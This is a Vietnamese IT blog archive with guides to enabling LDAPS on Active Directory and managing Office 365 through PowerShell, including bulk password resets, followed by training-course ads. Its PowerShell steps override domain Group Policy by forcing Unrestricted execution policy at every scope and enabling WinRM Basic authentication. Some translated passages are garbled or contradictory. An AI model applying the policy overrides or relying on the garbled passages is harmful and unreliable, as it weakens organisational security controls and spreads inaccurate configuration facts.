Category Archives: Password Sync

Phần 7: cấu hình giao thức LDAPS cho việc Change password của AD từ các hệ thống VPN / SharePoint / .Net / PHP / Apache dùng SSL/TLS


1. Tại sao lại cần SSL/TLS cho LDAP (port default: 389):

Theo mặc định, truyền thông LDAP giữa máy chủ AD và máy chủ ứng dụng không được mã hóa. Thiết bị hoặc phần mềm và xem các thông tin liên lạc đi lại giữa client và máy tính LDAP server.

Điều này đặc biệt có vấn đề khi một LDAP đơn giản được sử dụng bởi vì các thông tin (tên người dùng và mật khẩu) được truyền tải qua mạng được mã hóa, thậm trí có nhu cầu thay đổi mật khẩu.

Lưu ý: chỉ LDAP chuyển dữ liệu được tiếp xúc. Xác nhận hoặc ủy quyền dữ liệu khác sử dụng Kerberos, SASL, và thậm chí NTLM có hệ thống mã hóa.

Tham khảo: Windows 2000 SP4 sử dụng LDAP  hoặc

chứng thực đơn giản theo chuẩn Layer (SASL)

bản sao giữa các domain controller được mã hóa bằng cách sử dụng Kerberos .

Lý do cho phép Lightweight Directory Access Protocol (LDAP) trên Secure Sockets Layer (SSL) / Transport Layer Security (TLS) cũng được gọi là LDAPS bao gồm:

  • Một số ứng dụng xác thực với Active Directory Domain Services (AD DS) thông qua BIND đơn giản. Như BIND đơn giản cho thấy nhiều thông tin quan trọng của người sử dụng trong văn bản rõ ràng, sử dụng Kerberos được ưa thích. Nếu BIND đơn giản là cần thiết, sử dụng SSL / TLS để mã hóa các phiên xác thực được khuyến khích mạnh mẽ.
  • Sử dụng các ràng buộc proxy hoặc thay đổi mật khẩu trên LDAP, mà đòi hỏi LDAPS. (Ví dụ: Bind một AD LDS instance Thông qua một đối tượng Proxy )
  • Một số ứng dụng tích hợp với các máy chủ LDAP (như Active Directory hoặc Active Directory Domain Controller) yêu cầu thông tin liên lạc được mã hóa. Để mã hóa truyền thông LDAP trong một mạng Windows, bạn có thể bật LDAP trên SSL (LDAPS).

Cảnh báo Trước khi bạn cài đặt một hệ thống cấp chứng nhận (CA Server), bạn nên biết rằng bạn đang tạo hoặc mở rộng một cơ sở hạ tầng khóa công khai (PKI). Hãy chắc chắn để thiết kế một PKI đó là thích hợp cho tổ chức của bạn. Xem PKI Thiết kế Tổng quan Giới thiệu tóm tắt để biết thêm thông tin.

 

1.1. Việc kích hoạt LDAPS cho domain controller sử dụng một hệ thống phân cấp CA single-tier:
1.2. Việc kích hoạt LDAPS cho domain controller sử dụng một hệ thống phân cấp CA multi-tier:

Khi bạn có một-đa lớp (chẳng hạn như một hai tầng, ba tầng) CA ​​phân cấp, bạn sẽ không tự động có các chứng chỉ thích hợp để xác thực LDAPS trên Domain Controller. Để kích hoạt LDAPS trong một hệ thống phân cấp CA multi-tier, bạn phải yêu cầu một giấy chứng nhận đáp ứng các yêu cầu sau:

 

2. Cách cấu hình LDAPS (default port: 636)

  1. Trên máy chủ AD cần mở Certification Authority, mở Certificates console hoặc certsrv console. Để mở certsrv, bấm Start > certsrv.msc và sau đó nhấp OK .
  2. Đảm bảo rằng Certification Authority.
  3. Kích chuột phải vào Certificate Templates > Manage.

image

4.  Trong Certificate Templates control, nhấp chuột phải Domain Controller Authentication và sau đó chọn Duplicate Template . Bạn không cần phải sử dụng các mẫu Kerberos. Bạn có thể tạo riêng của bạn hoặc sử dụng một trong những mẫu hiện có Server Authentication như một Target, chẳng hạn như Domain Controller Authentication, Domain Controller , Web Server , và Computer .

Quan trọng: Bạn nên kế hoạch trên có giấy chứng nhận trên mỗi máy chủ LDAP (tức là Domain controller hoặc AD LDS server) với target: Server Authentication . image

5. Trên Duplicate Template , để mặc định chọn Windows Server 2003 Enterprise chọn và sau đó nhấn OK .

6. Các thuộc tính của New Template xuất hiện. Đảm bảo rằng các thiết lập như bạn muốn họ được cho mẫu chứng chỉ này. Hãy chú ý để đảm bảo rằng các tên Template hiển thị được thiết lập để một cái tên thích hợp cùng với các cài đặt sau:

  • Thời gian hiệu lực và gia hạn được quy định theo chính sách bảo mật của tổ chức.
  • Chiều dài khóa phù hợp.
  • Chọn nếu bạn muốn đặt chứng chỉ trong Active Directory.
  • Tên tab Subject: Tên DNS và Dịch vụ tên chính (SPN) được lựa chọn.
  • Nếu bạn có kế hoạch để nhập chứng chỉ vào lưu trữ chứng chỉ Active Directory Domain Services, sau đó cũng nên đánh dấu các khóa riêng như xuất khẩu.

image

 

image

 

7.  Nhấn OK .

8. Quay trở lại Giấy chứng nhận hoặc certsrv console và trong panel chi tiết của Certificate Templates , kích chuột phải vào một khu vực mở của giao diện, kích New , và sau đó nhấp vào Certificate Template để export

image

image

image

image

 

3. Yêu cầu một chứng chỉ cho Server Authentication

Để yêu cầu một chứng chỉ từ máy chủ LDAPS của bạn, hãy làm như sau trên mỗi Domain Controller đòi hỏi kết nối LDAPS:

  1. Mở Certificates console. Bấm vào Bắt đầu , loại MMC , và sau đó nhấn ENTER. Nếu được nhắc nhở bởi User Account Control, đảm bảo nó sẽ hiển thị các hành động mà bạn muốn và sau đó bấm Yes .
  2. Trong giao diện điều khiển MMC được mở ra (thường Console1), nhấp vào file và sau đó nhấp vào Add / Remove Snap-in.
  3. Trong Add or Remove Snap-ins dưới Snap-ins , nhấp Certificates, và sau đó nhấp vào Add.
  4. Trong Certificates snap-in , chọn Computer Account và sau đó nhấp vào Next.
  5. Trong Select Computer , nếu bạn đang quản lý các máy chủ LDAP yêu cầu chứng chỉ, chọn Local . Nếu không, hãy chọn Another Computer và nhấn Browse để xác định vị trí máy chủ LDAP yêu cầu giấy chứng nhận.
  6. Một khi bạn có máy tính đúng được chọn, nhấn OK và sau đó nhấp vào Finish.
  7. Trong Add or Remove Snap-in , click OK .
  8. Trong cây giao diện điều khiển, mở rộng Certificates (<Computer>).
  9. kích chuột phải vào Certificates , nhấn All Tasks , và sau đó nhấp vào Yêu cầu chứng chỉ mới .

image

image

image

 

image

image

image

 

image

10.  Trong Certificate Enrollment , bấm Next.

11.  Trong Select Certificate Types, thông thường bạn sẽ để mặc định của Active Directory Enrollment Policy . Nếu bạn có một chính sách khác nhau mà bạn nên làm theo, sau đó chọn một trong đó và nhấp vào Next.

12.  Chọn một chứng chỉ cho phép để xác thực server, Kerberos làm việc, nhưng bạn có thể sử dụng chứng chỉ tùy chỉnh như mô tả trong Công bố Giấy chứng nhận rằng Hỗ trợ Server Authentication. Nhấn vào Enroll .

image

image

 

image

image

image

 

image

(1.3.6.1.5.5.7.3.1) .

Đối với từng bước ví dụ khác yêu cầu một chứng chỉ để xác thực máy chủ và thực hiện LDAP trên SSL (LDAPS), xem các bài viết sau đây:

 
4. Các dịch vụ Active Directory Domain Certificate lưu trữ 

Khi một chứng chỉ được lựa chọn từ các máy tính local (như trong CertEnumCertificatesInStore ) Giấy chứng nhận hợp lệ đầu tiên mà có thể được sử dụng để xác thực máy chủ (OID: 1.3.6.1.5.5.7.3.1) được trả về để sử dụng. Trong trường hợp khách hàng có nhiều giấy chứng nhận hợp lệ cho Server Authentication trong (ví dụ như các máy chủ LDAP của AD DS bộ điều khiển miền , AD LDS , hoặc ADAM server) lưu trữ chứng chỉ máy tính local, có thể thấy rằng một chứng chỉ khác so với cái mà họ muốn được sử dụng cho LDAPS.

Độ mã hóa tốt nhất cho một vấn đề như vậy là để loại bỏ tất cả các chứng chỉ không cần thiết từ các máy tính local chứng nhận và chỉ có một giấy chứng nhận là hợp lệ để xác thực máy chủ. Tuy nhiên, nếu có một lý do chính đáng mà hai hay nhiều chứng chỉ của một máy khách sử dụng ít nhất Windows Server 2008 máy chủ,  máy chủ LDAP, Directory Domain Services (NTDS \ Personal) lưu trữ chứng chỉ mới có thể được sử dụng cho giao thức LDAPS .

Chú ý: Có một số chi tiết quan trọng cần biết trước khi bạn thực hiện việc sử dụng của các kho lưu trữ chứng thực Active Directory Domain Services (AD DS):

  1. Giấy chứng nhận đăng ký tự động (auto-enroll) không thể được sử dụng với các chứng chỉ trong kho chứng chỉ cá nhân NTDS \.
  2. Các công cụ dòng lệnh hiện hành không cho phép quản lý giấy chứng nhận lưu trữ chứng chỉ cá nhân NTDS \.
  3. Chứng chỉ nên được nhập khẩu vào các cửa hàng, và không di chuyển (bằng cách kéo và thả) thông qua giao diện điều khiển Certificates (MMC)
  4. Mỗi máy chủ LDAP sẽ yêu cầu giấy chứng nhận của riêng mình để sử dụng tùy chọn này, nhưng nó chỉ là cần thiết để sử dụng tùy chọn này trên một máy chủ có nhiều chứng chỉ với mục đích Server Authentication trong Giấy chứng nhận cửa hàng địa phương. Giải pháp tốt nhất là để chỉ có một giấy chứng nhận trong giấy chứng nhận cá nhân của máy tính.

 

Lưu ý: Các bước trên đây là kết thúc việc cấu hình SSL cho LDAP trên phiên bản máy chủ windows 2000 và Windows 2003 Enteprise.

4.1 Kiểm tra kết nối tới giao thức LDAPS connection:
  1. Mở chính máy chủ Windows 2000 /2003 AD vừa cài LDAPS:

netstat -n -p tcp  server returns that 636 is listening:

image

2. Mở máy chủ liên quan tới SharePoint Server / .NET / PHP Server / VPN SSL cần kết nối với máy chủ Windows 2003/ 2000 vừa cài LDAPS:

image

3. Xem cách sửa lỗi này ở mục 6:

 

4.2.  Xuất file pfx chứng nhận LDAPS và Nhập file pfx để sử dụng với AD DS (áp dụng cho AD Server 2008 / 2008 R2 Enterprise):

Các bước sau chứng minh làm thế nào để xuất ra một giấy chứng nhận LDAPS kích hoạt từ kho lưu trữ chứng thực Enterprise từ một Domain Controller để Directory Domain Services lưu trữ chứng chỉ dịch vụ Active Directory (NTDS \ Personal).

Bạn sẽ phải thực hiện bước này cho mỗi Domain Controller khi có nhiều giấy chứng nhận với việc sử dụng kích hoạt kiểu Server Authentication.

Giấy chứng nhận này sẽ phải được gia hạn sử dụng và chỉ thực hiện được bắt đầu với Windows Server 2008 domain controller, vì đó là Windows Server Active Directory Domain service  (AD DS) đầu tiên, trong đó NTDS được tách ra như là dịch vụ riêng của chính hệ thống.

  1. Bấm vào Start, gõ mmc và sau đó nhấn OK .
  2. Nhấn vào File Add / Remove Snap-in .
  3. Nhấn vào Certificate và sau đó nhấp vào Add.
  4. Trong Certificates snap-in, chọn Computer Account và sau đó nhấp vào Next.
  5. Trong Select Computer , nếu bạn đang làm việc tại các máy chủ LDAP yêu cầu chứng chỉ, chọn Local . Nếu không, hãy chọn Another Computer và nhấn Browse để xác định vị trí máy chủ LDAP yêu cầu giấy chứng nhận.
  6. Một khi bạn có máy tính đúng được chọn, nhấn OK và sau đó nhấp vào Finish . Trong Add or Remove Snap-in , click OK .
  7. Trong cây giao diện điều khiển, mở rộng Certificates (<Computer>)
  8. Trong giấy chứng nhận giao diện điều khiển của một máy tính có một chứng chỉ có thể được sử dụng để xác thực máy chủ, kích chuột phải vào chứng chỉ, nhấn All Tasks , và sau đó nhấp vào Export.

image

image

 

9. Trên Certificate Export Wizard màn hình chào mừng, nhấn Next.

10. Trên export the Key Private màn hình, chọn Yes, export the private key và sau đó nhấp vào Next. Nếu bạn không có tùy chọn để xuất khẩu các khóa riêng, sau đó các mẫu chứng chỉ không cho phép xuất khẩu của khóa riêng

Tham khảo:  Xuất bản chứng chỉ hỗ trợ Server Authentication.

image

Trên Export File Format màn hình, bạn nên chọn Export tất cả các thuộc tính mở rộng . Các lựa chọn khác là:

image

image

11. Trên màn hình Password, nhập mật khẩu mà bạn muốn được sử dụng khi các chứng chỉ được nhập khẩu. Bạn sẽ phải nhập mật khẩu hai lần: một lần trong Mật khẩu hộp và sau đó một lần nữa trong các Loại và mật khẩu xác nhận . Sau đó, nhấp vào Next.

12. Trên File to Export màn hình, nhập vào đường dẫn, tên file, và mở rộng tập tin .pfx và

image

image

 

sau đó nhấp vào Next.

13. Xác nhận các thiết lập trên màn hình hoàn thành và sau đó nhấp vào Finish. Bạn sẽ thấy một thông báo pop-up chỉ ra rằng việc xuất khẩu là thành công. Nhấn OK .

14. Nhấn vào File và sau đó nhấp vào Add / Remove Snap-in .

15. Nhấn vào Certificates và sau đó nhấp vào Add.

image

image

Chọn Service account và sau đó nhấp vào Next.

image

16. Chọn Local Computer, đảm bảo rằng bạn nhắm mục tiêu các máy tính thích hợp. Nếu bạn đang chạy Microsoft Management Console (MMC) và muốn nhắm tới các máy tính địa phương, bạn có thể để lại các lựa chọn mặc định của Local Computer. Nếu không, hãy chọn nother computer và sau đó sử dụng các Browse để chọn các máy tính thích hợp. Sau đó nhấp vào Next.

17. Chọn Active Directory Domain Services và sau đó nhấp vào Finish.

image

image

18. Trên Add or Remove Snap-ins hộp thoại bấm OK .

19. Mở rộng Certificates (Active Directory Domain Services) và sau đó nhấp vào NTDS \ Personal.

20. Kích chuột phải vào NTDS \ Personal, nhấn All Tasks , và sau đó nhấn Import .

image

21. Trên Certificate Import Wizard màn hình chào mừng, nhấn Tiếp theo .

22. Trên File to Import , nhấn chuột vào Browse , và sau đó xác định vị trí các tập tin chứng chỉ mà bạn đã xuất trước đó.

23. Trên mở màn hình, đảm bảo rằng Personal Information Exchange (* PFX, *. p12) được lựa chọn là các loại tập tin và sau đó di chuyển các tập tin hệ thống để xác định vị trí các chứng chỉ mà bạn đã xuất trước đó và sau đó nhấp vào giấy chứng nhận đó.

image

24. Nhấn Open và sau đó nhấp vào Next.

25. Trên Password màn hình nhập mật khẩu bạn đặt cho các tập tin và sau đó nhấp vào Next.

image

Trên trang Certificate, đảm bảo rằng tất cả các chứng chỉ hợp lệ được chọn và đọc vào vị trí Certificate store : NTDS \ Personal và sau đó nhấp vào Next.

image

26. Trên Certificate Import Wizard màn hình hoàn thành, bấm Finish. Sau đó bạn sẽ thấy một thông báo rằng nhập đã thành công. Nhấn OK .

27. Trong khung Navigation, dưới NTDS \ Personal, nhấp Certificates

28. Trong cửa sổ chi tiết, kích chuột phải vào chứng chỉ mà bạn nhập khẩu và sau đó nhấp vào Browser.

image

Click vào Detail và sau đó nhấp vào Enhanced Key Usage, bạn sẽ thấy rằng Authentication Server (1.3.6.1.5.5.7.3.1) là một trong những Target của các giấy chứng nhận và sau đó nhấp OK .

image

5. Kiểm tra kết nối LDAPS:

Sau khi một chứng chỉ được cài đặt, hãy làm theo các bước sau để xác minh rằng LDAPS được kích hoạt:

5.1 Bắt đầu công cụ mới Administration Directory (Ldp.exe)

image

  1. Trên kết nối đơn, nhấp vào Connect .

image

2. Nhập tên của máy chủ LDAP (ví dụ như Domain Controller  hoặc AD LDS / ADAM server) mà bạn muốn kết nối.

3. Đổi số cổng sang 636 .

4. Check ô SSL

5. Nhấn OK .

 

6. Tham khảo các lỗi vs Xử lý sự cố LDAP qua SSL:

Khi bạn có vấn đề với LDAPS, có những điều khác nhau mà có thể là sai.

Các bạn nên tham khảo: Khắc phục sự cố LDAP qua SSL .

Chỉ có một sự kiện ID đó là liên quan trực tiếp đến LDAP trên SSL, đó là các mã lỗi có ký hiệu số:

  • Error event ID 1220 – LDAP trên SSL
  • Error event ID 2886 – LDAP ký : đăng nhập mỗi lần một bộ điều khiển miền được bắt đầu, nếu bạn không có yêu cầu ký kích hoạt trên bộ điều khiển tên miền của bạn.
  • Error event ID 2887 – Nếu ký kết yêu cầu không được bật, sự kiện này còn giữ một số bao nhiêu với phím unsigned xảy ra trong 24 giờ. Các sự kiện được đăng nhập mỗi 24 giờ.
  • Error event ID 2888 – Nếu ký cần được kích hoạt, sau đó điều này thậm chí giữ một đếm bao nhiêu với phím LDAP unsigned xảy ra trong 24 giờ. Kể từ khi ký LDAP là cần thiết, với phím sẽ bị từ chối. Đây là thông báo cho người quản trị để điều tra các máy tính khách hàng đang cố gắng để ràng buộc mà không ký.
  • Error event ID 2889- quản trị có thể cho phép sự kiện này để giúp xác định các máy tính khách hàng đang cố gắng để ràng buộc mà không ký. Sự kiện này được đăng nhập với địa chỉ IP và danh tính ràng buộc của khách hàng mỗi khi một ràng buộc unsigned được thực hiện hoặc cố gắng.
 

Lỗi Error <0x51>: Fail to connect to

image

Đây là lỗi do bạn chưa ký chữ ký số của máy chủ windows 2000/2003 /2008 AD vừa dựng LDAPS sang máy chủ liên quan mà bạn cần truy cập kết nối sử dụng dịch vụ LDAPS:

ví dụ: bạn mở máy chủ SharePoint Server / máy chủ .NET framework hoặc / Apache Server / PHP server …

image

image

image

image

image

image

image

 

image

image

image

image

image

 

image

 

Như vậy, có 2 bước triển khai:

1. cấu hình CA trên AD DS và Export ra file pfx.

2. Cấu hình import file pfx vào máy VPN/ SharePoint /.Net / PHP/ Apache server cần kết nối LDAPS.

Chúc các bạn thành công !

 

P.S: Những nội dung triển khai giải pháp kỹ thuật trên càng ngày càng phức tạp,

các bạn nên đăng ký tham gia các khóa học của ROBUSTA để được luyện tập, trải nghiệm qua các môn học,

phương pháp học thực hành chuyên sâu, vững Trí vững Nghề !

Thông tin về lịch khai giảng tại Viện đào tạo và quản lý CNTT ROBUSTA Hà nội


Nếu quý khách có yêu cầu chương trình học ngoài lịch khai giảng trên xin vui lòng liên hệ với Robusta

STT

Tên khóa học

Ngày KG

Giờ học

Ngày học

Thời lượng

Học phí

Giảng viên

Các khóa đào tạo công nghệ VMware

1

 Triển khai, quản trị hạ tầng ảo hóa với VMware vSphere 5.5

05-05-2014 18h-21h Thứ 2-6 40 giờ Liên hệ Việt Nam
2
10-05-2014 09h-17h Thứ 7,CN 40 giờ Liên hệ Việt Nam
3
12-05-2014 09h-17h Trong tuần 40 giờ Liên hệ Việt Nam
4

VMware vSphere: Optimize & Scale [v5.1]

26-05-2014 09h-17h Trong tuần

40 giờ

Liên hệ Việt Nam

 

5

Ảo hóa máy trạm và ứng dụng VMware [v5.5]

 

19-05-2014

18h-21h

Trong tuần

40 giờ

Liên hệ

Việt Nam

6

09-06-2014

18h-21h

Thứ 2,4,6

40 giờ

Liên hệ

Việt Nam

 

7

VMware vCenter Configuration Manager for Virtual Infrastructure Management [V5.x]

04-06-2014

09h-17h

Trong tuần

40 giờ

Liên hệ

Nước ngoài

8

VMware vCenter Operations Manager: Analyze and Predict [V5.x]

02-06-2014

09h-17h

Trong tuần

16 giờ

Liên hệ

Nước ngoài

9

VMware vCenter Configuration Manager for Virtual Infrastructure Management [V5.x]

04-06-2014 09h-17h Trong tuần 24 giờ Liên hệ Nước ngoài

Các khóa đào tạo Microsoft

1

Office365 Tổng hợp

 

05-05-2014 09h-17h Trong tuần 24 giờ 06 triệu Việt Nam
2 05-05-2014 18h-21h Thứ 2,4,6 24 giờ 06 triệu Việt Nam
3

 

Manage Projects with Microsoft Project 2010

 

12-05-2014
18h-21h

Thứ 2,4,6

24 giờ 05 triệu Việt Nam
4

Phát triển Biztalk Server dành cho người lập trình

12-05-2014 09-17h

Trong tuần

40 giờ Liên hệ Việt Nam
5

Quản trị Biztalk Server

26-05-2014 09-17h

Trong tuần

40 giờ Liên hệ Việt Nam
6 Phát triển Biztalk trong tích hợp ứng dụng doanh nghiệp 02-06-2014 09-17h Trong tuần 40 giờ Liên hệ Việt Nam
7 02-06-2014 18h-21h Thứ 3,5,7 40 giờ Liên hệ Việt Nam
8 Thiết kế và phát triển Ứng dụng Microsoft Sharepoint 19-05-2014 18h-21h Thứ 2,4,6 40 giờ Liên hệ Việt Nam
9 Thiết kế kiến trúc hạ tầng Microsoft Sharepoint 26-05-2014 09h-17h Trong tuần 40 giờ Liên hệ Việt Nam
10

KHOÁ ĐÀO TẠO NÂNG CAO

ĐIỀU CHỈNH SHAREPOINT 2010 CHO HIỆU SUẤT CAO

23-06-2014 09h-17h Trong tuần 40 giờ Liên hệ Việt Nam
11 Thiết kế các giải pháp BI với  Microsoft SQL Server 09-06-2014 09h-17h Trong tuần 40 giờ Liên hệ Việt Nam
Các khóa đào tạo khác
1 Quản lý CNTT và An toàn thông tin 19-05-2014 09h-17h Trong tuần 40 giờ Liên hệ Việt Nam
2 19-05-2014 18h-21h Thứ 2,4,6 40 giờ Liên hệ Việt Nam
3 IT Management Skills – Các kỹ năng quản lý công nghệ thông tin 16-06-2014 09h- 17h Trong tuần 40 giờ Liên hệ Việt Nam
4 ITIL – Information Technology Infrastructure Library Foundation V3 16-06-2014 18h-21h Thứ 2,4,6
24 giờ Liên hệ Việt Nam
5
Thiết kế Website PHP và HTML5 bằng phương pháp sản xuất công nghiệp
27-4-2014
08h-12h
Chủ nhật
4 giờ
01 triệu
Việt Nam

 

Thông tin ưu đãi:

– Giảm giá đặc biệt cho các học viên đăng ký và thanh toán trước ngày khai giảng tối thiểu 02 tuần hoặc đăng ký nhóm 02 người trở lên.

 

Thông tin chi tiết vui lòng liên hệ:

Lê Trường Sơn (Mr.) – Mobile : (+84) 0904 411 933 – Email: son.le@robusta.vn

Lê Toàn Thắng (Mr.) – Mobile : (+84) 943 851 178 – Email: thang.le@robusta.vn

Xin cám ơn và mong được hợp tác và hỗ trợ Quý Anh/Chị cùng đơn vị trong thời gian tới!

Sử dụng PowerShell trong Office 365


1. Tất cả các công cụ PowerShell có sẵn trên Windows XP SP3, VISTA SPx, Windows 7, Windows Server 2003 SPx, windows 2008 R2 trước đây dùng kết nối với Live@edu đều không dùng kết nối với Office 365 được.

2. Cần phải cài Windows PowerShell and the .NET Framework 3.5.1 enabled.

3. Cần phải cài  Microsoft Online Services Sign-in Assistant phiên bản 7.0 hoặc Beta.

hãy download và cài đặt vào máy dùng PowerShell từ link Microsoft Download Center:

Microsoft Online Services Sign-In Assistant BETA – 32 bit/64 bit version http://www.microsoft.com/en-us/download/details.aspx?id=39267  

4. Cần phải download và cài Microsoft Online Services Module for Windows PowerShell:

hãy download và cài  đặt vào máy dùng Powershell từ  link Microsoft Download center:

Microsoft Online Services Module for Windows PowerShell (32-bit version) http://go.microsoft.com/fwlink/p/?linkid=236298

Microsoft Online Services Module for Windows PowerShell (64-bit version) http://go.microsoft.com/fwlink/p/?linkid=236297

5. Các tài liệu hướng dẫn sử dụng Windows PowerShell để quản lý Office 365:

http://technet.microsoft.com/en-us/library/jj151815.aspx 

 

6. Sau đây là 3 phương thức kết nối PowerShell tới Office 365 bằng lệnh khi đã cài 2 phần mềm PowerShell:

Bấm vào:  Start > All Programs > Microsoft Online Services (Folder) and select Microsoft Online Services Module for Windows PowerShell

hoặc Windows Azure Active Directory > Windows Azure Active Directory Module for Windows PowerShell

Phương thức 1:

Cách dùng kết hợp cả hàm cũ và mới của PowerShell để kết nối Office 365 (O365):

Chép/ dán hoặc gõ lệnh sau:

$LiveCred = Get-Credential
Connect-MSOLservice –Credential $livecred
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri
https://ps.outlook.com/powershell/ -Credential $LiveCred -Authentication Basic -AllowRedirection
Import-PSSession $Session

Phương thức 2:

Cách dùng lệnh chuẩn của Office 365 (O365) để kết nối thông qua Microsoft Online Service Module for Windows PowerShell  (MOSMWP) :

Import-Module MSOnline
$Creds = Get-Credential
Connect-MsolService –Credential $Creds

 

Phương thức 3:

Cách dùng hàm kết hợp giữa O365 và hàm chuẩn PowerShell để kết nối :

Import-module msonline
Connect-MSOLservice
$LiveCred = Get-Credential
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri
https://ps.outlook.com/powershell/ -Credential $LiveCred -Authentication Basic -AllowRedirection
Import-PSSession $Session

Ghi chú:

Các lệnh cũ dưới đây chỉ dùng được với Exchange Online và là phiên bản chỉ dùng ở Live@edu, chúng ta sẽ loại bỏ cách dùng đó.

Lệnh dùng Windows PowerShell 2.0 kết nối Exchange Online của Live@edu:

$LiveCred = Get-Credential
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri
https://ps.outlook.com/powershell/ -Credential $LiveCred -Authentication Basic -AllowRedirection
Import-PSSession $Session

 

7. Lưu ý khi lần đầu cài Microsft PowerShell và chạy trên máy PC mới:

  • Gõ lệnh trên màn PowerShell / cmdlet / cmdDOS :

Get-PSSnapin

  • Gõ lệnh kiểm tra quyền chạy  WinRM kết nối tới  Office 365 (O365):

net start winrm
winrm get winrm/config/client/auth

  • Gõ lệnh cấu hình lại quyền chạy winrm (nếu kết quả báo: Basic=false):

winrm set winrm/config/client/auth @{Basic=”true”}

  • Một số trường hợp đặc biệt, máy PC của bạn đang join domain và  bị Global domain ngăn cản bằng các Policy domain hãy gõ lệnh sau để thiết lập quyền kết nối và điều khiển Office 365 bằng PowerShell:

Set-ExecutionPolicy RemoteSigned

Set-ExecutionPolicy Unrestricted

  • Nếu là bị  GPO hạn chế  quyền restricted policy hãy gõ lệnh sau:

Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy unrestricted -force

  • Thêm vào đó 4 dòng lệnh sau:

Set-ExecutionPolicy -Scope LocalMachine -ExecutionPolicy unrestricted -force

Set-ExecutionPolicy -Scope MachinePolicy -ExecutionPolicy unrestricted -force

Set-ExecutionPolicy -Scope UserPolicy -ExecutionPolicy unrestricted -force

Set-ExecutionPolicy -Scope Process -ExecutionPolicy unrestricted -force

 

8. Thêm tài khoản riêng hỗ trợ cho Admin quản lý tài khoản hoặc cho phép Powershell kết nối Office 365

Phải dùng tài khoản Administrator và truy cập vào “Organization Management”  trong Exchange Control Panel (ECP)

  • Chọn Manage My Organization > Roles & Auditing > Administrator Roles.
  • bấm  “Organization Management” > xem chi tiết sau đó thêm địa chỉ email vào “Member” > Save

Tham khảo vai trò người quản lý: http://help.outlook.com/vi-vn/140/ee441216.aspx

9. Cách dùng lệnh PowerShell reset password hàng loạt tài khoản trên Office 365:

1. Tạo file ResetPassword_PS_Office365.CSV bằng Notepage hoặc Excel có cấu trúc như sau:

image

(có 2 cột: EmailAddresses và NewPassword).

2. Dùng Windows Azure Active Directory Module for Windows PowerShell gõ lệnh sau để chạy:

$LiveCred = Get-Credential
Connect-MSOLservice –Credential $livecred
$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri https://ps.outlook.com/powershell/ -Credential $LiveCred -Authentication Basic -AllowRedirection
Import-PSSession $Session

Import-Csv C:\Projects\ps1\ResetPassword_PS_Office365.csv|%{Set-MsolUserPassword –userPrincipalName $_.EmailAddresses -NewPassword $_.NewPassword -ForceChangePassword $false}

3. Kết quả đúng sẽ có màn hình hiển thị sau:

image

 

Chúc các Quản trị mạng dịch vụ tại các Trường

sử dụng thành thạo và ổn định hệ thống Office 365 Smile !

Deploying Office 365 for All (1 Days)



 

Course Contents

1         Introduction

 

          Microsoft Learning, MPN Capability Development, the Small Business Competency team and the Microsoft Office team bring you an exciting opportunity to learn to plan and deploy Office 365. As organizations recognize the benefits of providing users with anywhere-access to cloud-based email and scheduling, web conferencing, file sharing, collaboration and Office Web Apps at a low predictable monthly cost, demand for certified Office 365 expertise is climbing sharply in the enterprise and small business space.

 

 

 

2         The content

 

          Plan and implement Account synchronization 

          Plan and implement Single sign on

          Plan and implement Federation for Exchange Online and Lync Online

          Plan and implement Office 365 Security 

          Plan network security and connectivity 

          Plan namespace integration

          Exchange Online—Plan email flow, messaging hygiene, security, and compliance

          Exchange Online—Plan hybrid deployment, mailbox migrations 

          Exchange Online—Unified messaging with Exchange Online

          Lync Online—Plan sizing, conferencing provider (ACP) integration; namespace planning; coexistence scenarios 

          SharePoint Online—Plan and configure site structures and site settings 

          SharePoint Online—Plan and configure properties.


 

 

 

Detailed Course Content

 

1.        

Accounts, Services, Infrastructure

 

·         Module 1: Plan and implement Account synchronization 

·         Module 2: Plan and implement Single sign on 

·         Module 3: Plan and implement Federation for Exchange Online and Lync Online

·         Module 4: Plan and implement Office 365 Security 

·         Module 5: Plan network security and connectivity

·         Module 6: Plan namespace integration  

2.        

Exchange, Lync and SharePoint Online

 

·         Module 7: Exchange Online—Plan email flow, messaging hygiene, security, and compliance

·         Module 8: Exchange Online—Plan hybrid deployment, mailbox migrations 

·         Module 9: Exchange Online—Unified messaging with Exchange Online 

·         Module 10: Lync Online—Plan sizing, conferencing provider (ACP) integration; namespace planning; coexistence scenarios

·         Module 11: SharePoint Online—Plan and configure site structures and site settings

·         Module 12: SharePoint Online—Plan and configure properties

 

3.        

Virtual Labs for practices

 

·         Upgrade Live@edu to Office 365.

·         Setup and Configuration for AD synchronization with Office 365 by DirSync Tool.

·         Setup and Configuration for ADFS SSO with AD account sign-on Office 365.

 

 

 

 

 

Môn học

Office 365 dành cho các nhà Quản lý dịch vụ & triển khai hạ tầng CNTT của Doanh nghiệp

Mã môn

70-321

Thời gian

1 ngày

Số lượng

Tối đa 20 người / 1 lớp

Thiết bị

          Wi-fi/3G và 1 đường Internet > 1.2Mps

          Người dùng được phép tự trang bị Windows Phone, Android, iPhone, Tablet, iPad, Laptop.

 

Lưu ý về cách sử dụng mới: Windows PowerShell for Office 365


Use Windows PowerShell to manage Office 365

Windows PowerShell Command Builder

Use Windows PowerShell in Exchange Online

Install the Office 365 cmdlets

You can install the cmdlets on a Windows 7 or Windows Server 2008 R2 computer.

You must have Windows PowerShell and the .NET Framework 3.5.1 enabled.

You must install the Microsoft Online Services Sign-in Assistant. Download and install one of the following from the Microsoft Download Center:

To install the Microsoft Online Services Sign-in Assistant:

Microsoft Online Services Sign-In Assistant (IDCRL7) – 32 bit version http://go.microsoft.com/fwlink/p/?linkid=236299

Microsoft Online Services Sign-In Assistant (IDCRL7) – 64 bit version http://go.microsoft.com/fwlink/p/?linkid=236300

To install the Microsoft Online Services Module for Windows PowerShell:

Microsoft Online Services Module for Windows PowerShell (32-bit version) http://go.microsoft.com/fwlink/p/?linkid=236298

Microsoft Online Services Module for Windows PowerShell (64-bit version) http://go.microsoft.com/fwlink/p/?linkid=236297

For more information regarding this article, see the information within the link below:

Use Windows PowerShell to manage Office 365

http://onlinehelp.microsoft.com/en-us/office365-enterprises/hh124998.aspx


Download and Install the Microsoft Online Services Module for Windows PowerShell for Single Sign on.

http://onlinehelp.microsoft.com/en-us/office365-enterprises/ff652560.aspx#BKMK_CreateOrConvertADomain

